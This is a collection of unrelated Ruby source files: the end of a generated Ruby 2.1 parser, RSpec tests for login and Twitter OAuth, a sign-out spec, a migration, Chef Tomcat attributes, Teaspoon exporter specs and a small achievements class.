end
def _reduce_549(val, _values, result)
yyerror "formal argument cannot be a global variable"
result
end
def _reduce_550(val, _values, result)
yyerror "formal argument cannot be a class variable"
result
end
# reduce 551 omitted
def _reduce_552(val, _values, result)
identifier = val[0].to_sym
self.env[identifier] = :lvar
result = identifier
result
end
# reduce 553 omitted
def _reduce_554(val, _values, result)
result = val[1]
result
end
def _reduce_555(val, _values, result)
case val[0]
when Symbol then
result = s(:args)
result << val[0]
when Sexp then
result = val[0]
else
debug20 32
raise "Unknown f_arg type: #{val.inspect}"
end
result
end
def _reduce_556(val, _values, result)
list, _, item = val
if list.sexp_type == :args then
result = list
else
result = s(:args, list)
end
result << item
result
end
# reduce 557 omitted
def _reduce_558(val, _values, result)
# TODO: call_args
label, _ = val[0] # TODO: fix lineno?
identifier = label.to_sym
self.env[identifier] = :lvar
result = s(:array, s(:kwarg, identifier, val[1]))
result
end
def _reduce_559(val, _values, result)
label, _ = val[0] # TODO: fix lineno?
identifier = label.to_sym
self.env[identifier] = :lvar
result = s(:array, s(:kwarg, identifier))
result
end
def _reduce_560(val, _values, result)
# TODO: call_args
label, _ = val[0] # TODO: fix lineno?
identifier = label.to_sym
self.env[identifier] = :lvar
result = s(:array, s(:kwarg, identifier, val[1]))
result
end
def _reduce_561(val, _values, result)
label, _ = val[0] # TODO: fix lineno?
identifier = label.to_sym
self.env[identifier] = :lvar
result = s(:array, s(:kwarg, identifier))
result
end
# reduce 562 omitted
def _reduce_563(val, _values, result)
list, _, item = val
result = list << item.last
result
end
# reduce 564 omitted
def _reduce_565(val, _values, result)
result = args val
result
end
# reduce 566 omitted
# reduce 567 omitted
def _reduce_568(val, _values, result)
result = :"**#{val[1]}"
result
end
def _reduce_569(val, _values, result)
debug20 36, val, result
result
end
def _reduce_570(val, _values, result)
result = self.assignable val[0], val[2]
# TODO: detect duplicate names
result
end
def _reduce_571(val, _values, result)
result = self.assignable val[0], val[2]
result
end
def _reduce_572(val, _values, result)
result = s(:block, val[0])
result
end
def _reduce_573(val, _values, result)
result = val[0]
result << val[2]
result
end
def _reduce_574(val, _values, result)
result = s(:block, val[0])
result
end
def _reduce_575(val, _values, result)
result = self.block_append val[0], val[2]
result
end
# reduce 576 omitted
# reduce 577 omitted
def _reduce_578(val, _values, result)
# TODO: differs from parse.y - needs tests
name = val[1].to_sym
self.assignable name
result = :"*#{name}"
result
end
def _reduce_579(val, _values, result)
name = :"*"
self.env[name] = :lvar
result = name
result
end
# reduce 580 omitted
# reduce 581 omitted
def _reduce_582(val, _values, result)
identifier = val[1].to_sym
self.env[identifier] = :lvar
result = "&#{identifier}".to_sym
result
end
def _reduce_583(val, _values, result)
result = val[1]
result
end
def _reduce_584(val, _values, result)
result = nil
result
end
# reduce 585 omitted
def _reduce_586(val, _values, result)
lexer.lex_state = :expr_beg
result
end
def _reduce_587(val, _values, result)
result = val[2]
yyerror "Can't define single method for literals." if
result[0] == :lit
result
end
def _reduce_588(val, _values, result)
result = s(:array)
result
end
def _reduce_589(val, _values, result)
result = val[0]
result
end
# reduce 590 omitted
def _reduce_591(val, _values, result)
list = val[0].dup
more = val[2][1..-1]
list.push(*more) unless more.empty?
result = list
result[0] = :hash
# TODO: shouldn't this be a hash?
result
end
def _reduce_592(val, _values, result)
result = s(:array, val[0], val[2])
result
end
def _reduce_593(val, _values, result)
result = s(:array, s(:lit, val[0][0].to_sym), val[1])
result
end
def _reduce_594(val, _values, result)
result = s(:array, s(:kwsplat, val[1]))
result
end
# reduce 595 omitted
# reduce 596 omitted
# reduce 597 omitted
# reduce 598 omitted
# reduce 599 omitted
# reduce 600 omitted
# reduce 601 omitted
# reduce 602 omitted
# reduce 603 omitted
# reduce 604 omitted
# reduce 605 omitted
# reduce 606 omitted
# reduce 607 omitted
# reduce 608 omitted
# reduce 609 omitted
# reduce 610 omitted
# reduce 611 omitted
# reduce 612 omitted
# reduce 613 omitted
# reduce 614 omitted
# reduce 615 omitted
def _reduce_616(val, _values, result)
yyerrok
result
end
# reduce 617 omitted
# reduce 618 omitted
def _reduce_619(val, _values, result)
yyerrok
result
end
def _reduce_620(val, _values, result)
result = nil;
result
end
def _reduce_none(val, _values, result)
val[0]
end
end # class Ruby21Parser
| 38.088371 | 121 | 0.514383 |
6222b5c80cea40e9e1b84a2f513d8297bd0423fb | 7,415 | require 'require_relative' if RUBY_VERSION[0,3] == '1.8'
require_relative 'acceptance_helper'
describe "Authorization" do
include AcceptanceHelper
# publish an update and verify that the app responds successfully
def assert_publish_succeeds update_text
VCR.use_cassette('publish_to_hub') do
fill_in "text", :with => update_text
click_button "Share"
end
assert_match /Update created/, page.body
end
# -- The real tests begin here:
describe "passwords" do
it "does not place password into the User model" do
visit '/login'
fill_in "username", :with => "new_user"
fill_in "password", :with => "baseball"
click_button "Log in"
u = User.first(:username => "new_user")
refute_respond_to u, :password
end
it "does not place password into the Author model" do
visit '/login'
fill_in "username", :with => "new_user"
fill_in "password", :with => "baseball"
click_button "Log in"
u = User.first(:username => "new_user")
refute_respond_to u.author, :password
end
end
describe "associating users and authorizations" do
describe "username" do
it "treats the username as being case insensitive" do
u = Fabricate(:user)
u.username = u.username.upcase
log_in_username(u)
assert page.has_content?("Login successful")
end
it "keeps you logged in for a week" do
log_in_as_some_user(:with => :username)
assert_equal (Date.today + 1.week), get_me_the_cookie("_rstat.us_session")[:expires].to_date
end
end
describe "twitter" do
it "can add twitter to an account" do
u = Fabricate(:user)
omni_mock(u.username, {:uid => 78654, :token => "1111", :secret => "2222"})
log_in_username(u)
visit "/users/#{u.username}/edit"
click_button "Add Twitter Account"
auth = Authorization.first(:provider => "twitter", :uid => 78654)
assert_equal "1111", auth.oauth_token
assert_equal "2222", auth.oauth_secret
assert_match "/users/#{u.username}/edit", page.current_url
end
it "keeps you logged in for a week" do
log_in_as_some_user(:with => :twitter)
assert_equal (Date.today + 1.week), get_me_the_cookie("_rstat.us_session")[:expires].to_date
end
it "can remove twitter from an account" do
log_in_as_some_user(:with => :twitter)
visit "/users/#{@u.username}/edit"
assert_match /edit/, page.current_url
click_button "Remove"
a = Authorization.first(:provider => "twitter", :user_id => @u.id)
assert a.nil?
end
it "can remove twitter from an account whose username contains a dot" do
u = Fabricate(:user, :username => 'foo.bar')
a = Fabricate(:authorization, :user => u)
log_in_username(u)
visit "/users/#{u.username}/edit"
click_button "Remove"
assert_match /Add Twitter Account/, page.body
end
# TODO: Add one for logging in with twitter
it "signs up with twitter" do
omni_mock("twitter_user", {
:uid => 78654,
:token => "1111",
:secret => "2222"
})
visit '/auth/twitter'
assert_match /\/users\/new/, page.current_url
fill_in "username", :with => "new_user"
click_button "Finish Signup"
u = User.first(:username => "new_user")
refute u.nil?
auth = Authorization.first :nickname => "twitter_user"
assert_equal u, auth.user
assert_equal "1111", auth.oauth_token
assert_equal "2222", auth.oauth_secret
end
it "has your username already" do
omni_mock("my_name_is_jonas", {
:uid => 78654,
:token => "1111",
:secret => "2222"
})
visit '/auth/twitter'
assert has_field?("username", :with => "my_name_is_jonas")
end
it "sets the author's username for the user_xrd_path (issue #423)" do
omni_mock("weezer", {
:uid => 78654,
:token => "1111",
:secret => "2222"
})
visit '/auth/twitter'
click_button "Finish Signup"
u = User.first(:username => "weezer")
within "#sidebar" do
assert has_content?(u.username)
click_link "@#{u.username}"
end
assert has_no_content?("No route matches")
end
it "notifies the user of invalid credentials" do
omni_error_mock(:invalid_credentials, :provider => :twitter)
visit '/auth/twitter'
assert page.has_content?("We were unable to use your credentials to log you in")
assert_match /\/sessions\/new/, page.current_url
end
it "notifies the user if a timeout occurs" do
omni_error_mock(:timeout, :provider => :twitter)
visit '/auth/twitter'
assert page.has_content?("We were unable to use your credentials because of a timeout")
assert_match /\/sessions\/new/, page.current_url
end
it "notifies the user of an unknown error" do
omni_error_mock(:unknown_error, :provider => :twitter)
visit '/auth/twitter'
assert page.has_content?("We were unable to use your credentials")
assert_match /\/sessions\/new/, page.current_url
end
end
end
describe "profile" do
it "has an add twitter account button if no twitter auth" do
log_in_as_some_user(:with => :username)
visit "/users/#{@u.username}/edit"
assert_match page.body, /Add Twitter Account/
end
it "shows twitter nickname if twitter auth" do
u = Fabricate(:user)
a = Fabricate(:authorization, :user => u, :nickname => "Awesomeo the Great")
log_in(u, a.uid, :nickname => a.nickname)
visit "/users/#{u.username}/edit"
assert_match page.body, /Awesomeo the Great/
end
end
describe "updates" do
describe "twitter" do
it "has the twitter send checkbox" do
log_in_as_some_user(:with => :twitter)
assert_match page.body, /Twitter/
assert find_field('tweet').checked?
end
it "sends updates to twitter" do
Twitter.expects(:update)
log_in_as_some_user(:with => :twitter)
assert_publish_succeeds "Test Twitter Text"
end
it "does not send updates to twitter if the checkbox is unchecked" do
Twitter.expects(:update).never
log_in_as_some_user(:with => :twitter)
uncheck("tweet")
assert_publish_succeeds "Test Twitter Text"
end
end
describe "only username" do
it "logs in with username and no twitter login" do
log_in_as_some_user(:with => :username)
assert_match /Login successful/, page.body
assert_match @u.username, page.body
end
it "does not send updates to twitter" do
Twitter.expects(:update).never
log_in_as_some_user(:with => :username)
assert_publish_succeeds "Test Twitter Text"
end
end
end
it "migrates your token" do
u = Fabricate(:user)
a = Fabricate(:authorization, :user => u, :oauth_token => nil, :oauth_secret => nil, :nickname => nil)
log_in(u, a.uid)
assert_equal "1234", u.twitter.oauth_token
assert_equal "4567", u.twitter.oauth_secret
assert_equal u.username, u.twitter.nickname
end
end
| 28.74031 | 106 | 0.621038 |
7af87ef90116600e107a33f9dfa0179d70541ebb | 535 | # frozen_string_literal: true
require "rails_helper"
RSpec.describe "Users::Sessions", type: :request do
let(:user) { create(:user) }
before do
sign_in user
end
describe "GET /users/sign_out" do
it "logs out the user and redirects to the signed out page" do
# visit authenticated route
get "/dashboard"
expect(controller.current_user).to eq user
get "/users/sign_out"
expect(response).to redirect_to(signed_out_path)
expect(controller.current_user).to be_nil
end
end
end
| 21.4 | 66 | 0.691589 |
ff5e2969fb7b839aedc5cd26195c1a3464e05e63 | 445 | class RemoveGamehands < ActiveRecord::Migration
def up
remove_column :white_cards, :user_id
# Remove all of the game hands to make way for submissions.
Hand.where(user_id: nil).each do |h|
h.destroy
end
end
def down
add_column :white_cards, :user_id
# Re-create a game hand for each game
Game.all.keep_if { |x| !x.finished }.each do |g|
Hand.create(user_id: nil, game_id: g.id)
end
end
end
| 22.25 | 63 | 0.665169 |
e87f245091d2172a8f64225810222c5baf032694 | 2,440 | #
# Cookbook Name:: jetty
# Attributes:: default
#
# Copyright 2010, Opscode, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
default["tomcat"]["port"] = 8080
default["tomcat"]["ssl_port"] = 8443
default["tomcat"]["ajp_port"] = 8009
default["tomcat"]["java_options"] = "-Xmx128M -Djava.awt.headless=true"
default["tomcat"]["use_security_manager"] = false
case platform
when "centos","redhat","fedora"
set["tomcat"]["user"] = "tomcat7"
set["tomcat"]["group"] = "tomcat7"
set["tomcat"]["home"] = "/usr/share/tomcat7"
set["tomcat"]["base"] = "/usr/share/tomcat7"
set["tomcat"]["config_dir"] = "/etc/tomcat7"
set["tomcat"]["log_dir"] = "/var/log/tomcat7"
set["tomcat"]["tmp_dir"] = "/var/cache/tomcat7/temp"
set["tomcat"]["work_dir"] = "/var/cache/tomcat7/work"
set["tomcat"]["context_dir"] = "#{tomcat["config_dir"]}/Catalina/localhost"
set["tomcat"]["webapp_dir"] = "/var/lib/tomcat7/webapps"
when "debian","ubuntu"
set["tomcat"]["user"] = "tomcat7"
set["tomcat"]["group"] = "tomcat7"
set["tomcat"]["home"] = "/usr/share/tomcat7"
set["tomcat"]["base"] = "/var/lib/tomcat7"
set["tomcat"]["config_dir"] = "/etc/tomcat7"
set["tomcat"]["log_dir"] = "/var/log/tomcat7"
set["tomcat"]["tmp_dir"] = "/tmp/tomcat7-tmp"
set["tomcat"]["work_dir"] = "/var/cache/tomcat7"
set["tomcat"]["context_dir"] = "#{tomcat["config_dir"]}/Catalina/localhost"
set["tomcat"]["webapp_dir"] = "/var/lib/tomcat7/webapps"
else
set["tomcat"]["user"] = "tomcat7"
set["tomcat"]["group"] = "tomcat7"
set["tomcat"]["home"] = "/usr/share/tomcat7"
set["tomcat"]["base"] = "/var/lib/tomcat7"
set["tomcat"]["config_dir"] = "/etc/tomcat7"
set["tomcat"]["log_dir"] = "/var/log/tomcat7"
set["tomcat"]["tmp_dir"] = "/tmp/tomcat7-tmp"
set["tomcat"]["work_dir"] = "/var/cache/tomcat7"
set["tomcat"]["context_dir"] = "#{tomcat["config_dir"]}/Catalina/localhost"
set["tomcat"]["webapp_dir"] = "/var/lib/tomcat7/webapps"
end
| 40.666667 | 77 | 0.664344 |
e86e5506878b60ef4cead360fd76a1cb3fbd609a | 1,341 | module API
module V2
class Root < API::Helpers::GrapeApiHelper
version 'v2', using: :accept_version_header, cascade: false
format :json
content_type :json, 'application/json'
group do
before_validation do
authenticate_user_is?('CaseWorker')
end
namespace :api, desc: 'Retrieval, creation and validation operations' do
mount API::V2::CaseWorker
mount API::V2::CaseWorkers::Claim
mount API::V2::CaseWorkers::Allocate
mount API::V2::Claim
mount API::V2::Search
mount API::V2::MI::AGFSSchemeTenClaims
mount API::V2::MI::InjectionErrors
mount API::V2::MI::ProvisionalAssessments
mount API::V2::MI::AdditionalInformationExpenses
namespace :ccr, desc: 'CCR injection specific claim format' do
mount API::V2::CCRClaim
end
namespace :cclf, desc: 'CCLF injection specific claim format' do
mount API::V2::CCLFClaim
end
end
end
add_swagger_documentation(
info: { title: 'Claim for crown court defence API - v2' },
api_version: 'v2',
doc_version: 'v2',
hide_documentation_path: true,
mount_path: '/api/v2/swagger_doc',
hide_format: true
)
end
end
end
| 29.8 | 80 | 0.604027 |
62b8447a96fcda3d37901c66c8ef2db1bf8a9725 | 3,486 | require "spec_helper"
require "teaspoon/exporter"
describe Teaspoon::Exporter do
subject { Teaspoon::Exporter.new(:suite_name, "http://666.420.42.0:31337/url/to/teaspoon", "_output_path_") }
describe "#initialize" do
it "assigns @suite and @url" do
expect(subject.instance_variable_get(:@suite)).to eq(:suite_name)
expect(subject.instance_variable_get(:@url)).to eq("http://666.420.42.0:31337/url/to/teaspoon")
end
it "expands the @output_path" do
expected = File.join(File.expand_path("_output_path_"), "suite_name")
expect(subject.instance_variable_get(:@output_path)).to eq(expected)
end
end
describe "#export" do
before do
Dir.should_receive(:mktmpdir).and_yield("_temp_path_")
subject.stub(:executable).and_return("/path/to/executable")
subject.stub(:`)
end
it "makes a temp directory and cds to it" do
Dir.should_receive(:chdir).with("_temp_path_")
subject.export
end
it "executes the wget call and creates the export" do
`(exit 0)`
Dir.should_receive(:chdir).with("_temp_path_").and_yield
subject.should_receive(:`).with("/path/to/executable --convert-links --adjust-extension --page-requisites --span-hosts http://666.420.42.0:31337/url/to/teaspoon 2>&1")
subject.should_receive(:create_export).with("_temp_path_/666.420.42.0:31337")
subject.export
end
it "raises a Teaspoon::ExporterException if the command failed for some reason" do
`(exit 1)`
Dir.should_receive(:chdir).with("_temp_path_").and_yield
expect { subject.export }.to raise_error Teaspoon::ExporterException, "Unable to export suite_name suite."
end
it "raises a Teaspoon::MissingDependency if wget wasn't found" do
Dir.should_receive(:chdir).with("_temp_path_").and_yield
subject.should_receive(:executable).and_call_original
subject.should_receive(:which).with("wget").and_return(nil)
expect { subject.export }.to raise_error Teaspoon::MissingDependency, "Could not find wget for exporting."
end
describe "creating the export" do
before do
`(exit 0)`
Dir.should_receive(:chdir).with("_temp_path_").and_yield
Dir.should_receive(:chdir).with("_temp_path_/666.420.42.0:31337").and_yield
File.stub(:read).and_return("")
File.stub(:write)
FileUtils.stub(:mkdir_p)
FileUtils.stub(:rm_r)
FileUtils.stub(:mv)
end
it "updates the relative paths" do
File.should_receive(:read).with(".#{Teaspoon.configuration.mount_at}/suite_name.html").and_return('"../../path/to/asset')
File.should_receive(:write).with("index.html", '"../path/to/asset')
subject.export
end
it "cleans up the old files" do
subject.stub(:move_output)
Dir.should_receive(:[]).once.with("{.#{Teaspoon.configuration.mount_at},robots.txt.html}").and_return(["./teaspoon", "robots.txt.html"])
FileUtils.should_receive(:rm_r).with(["./teaspoon", "robots.txt.html"])
subject.export
end
it "moves the files into the output path" do
subject.stub(:cleanup_output)
output_path = subject.instance_variable_get(:@output_path)
Dir.should_receive(:[]).and_return(["1", "2"])
FileUtils.should_receive(:mkdir_p).with(output_path)
FileUtils.should_receive(:mv).with(["1", "2"], output_path, force: true)
subject.export
end
end
end
end
| 35.938144 | 173 | 0.672691 |
b9944671d7549206dbb5c1a8d90a47611583eb56 | 145 | # Be sure to restart your server when you modify this file.
Prairie0::Application.config.session_store :cookie_store, key: '_prairie_0_session'
| 36.25 | 83 | 0.806897 |
4ac860248586f9a08f86f77aded4534352d668cd | 236 | module Achievements
class HuntingAchievement < BaseAchievement
def check(player, entity)
achievements = @achievements.values.select{ |ach| ach.group == entity.group }
progress player, achievements, 1
end
end
end | 26.222222 | 83 | 0.720339 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.